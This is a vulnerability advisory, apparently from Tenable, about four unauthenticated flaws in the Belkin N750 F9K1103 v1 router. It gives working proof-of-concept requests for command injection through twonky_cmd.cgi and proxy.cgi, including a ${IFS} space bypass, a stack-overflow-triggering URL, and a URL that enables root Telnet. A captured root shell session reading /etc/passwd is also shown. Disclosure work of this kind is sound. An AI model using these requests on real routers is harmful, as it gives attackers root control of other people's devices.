While following up on earlier research into Belkin's N750 F9K1103 v1 wireless router, Tenable found four new vulnerabilities. All the vulnerabilities are exploitable without authentication through the web interface.
CVE-2018-1143: Twonky Blind Command Injection
An unauthenticated user can execute commands via twonky_command.cgi by encapsulating the command in backticks. The following URL will execute the command ping 192.168.1.61:
http://192.168.1.175:8080/twonky_cmd.cgi?c=drive_added?path=/tmp/%60ping%20192.168.1.61%60
CVE-2018-1144: Proxy.cgi Command Injection
An unauthenticated user can execute commands via proxy.cgi by encapsulating the command in backticks and using ${IFS%?} when a space is required. The following proof of concept executes cat /proc/cpuinfo:
albinolobster@ubuntu:~$ curl 'http://192.168.1.175:8080/proxy.cgi?url=`cat$\{IFS%?\}/proc/cpuinfo`'
wget: not an http or ftp url: system type : Ralink SoC
processor : 0
cpu model : MIPS 74K V4.12
BogoMIPS : 249.34
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented : mips16 dsp
VCED exceptions : not available
VCEI exceptions : not available
unaligned_instructions : 379
CVE-2018-1145: Proxy.cgi Stack Buffer Overflow
A stack buffer overflow occurs in libcfg.so when a remote unauthenticated user provides an long url parameter via proxy.cgi. The function EXEC_PROXY_CMD in libcfg.so does not validate that the url parameter's value will fit within a stack buffer before passing it to sprintf. An example request that triggers this vulnerablity follows:
http://192.168.1.175:8080/proxy.cgi?url=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
CVE-2018-1146: Enabling Unauthenticated Telnet
By default the router has Telnet disabled. However, an unauthenticated remote user can enable Telnet using the following URL:
http://192.168.1.175:8080/set.cgi?n=TLNET_EN&v=1
At first this doesn't appear to do anything. However, when the router is rebooted unauthenticated Telnet will spawn on the LAN side of the router.
albinolobster@ubuntu:~$ telnet 192.168.2.1
Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '^]'.
BusyBox v1.7.2 (2016-10-12 10:13:10 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
uid=0(root) gid=0(root)
# cat /etc/passwd
root::0:0::/:/bin/sh
bin:x:1:1:bin:/bin:
ftp:x:14:100::/mnt/shared:/bin/false
avahi:x:70:70:Avahi daemon:/:/bin/false
avahi-autoipd:x:71:71:Avahi autoipd:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
administrator:x:0:100:Administrator:/mnt/shared:/bin/bash
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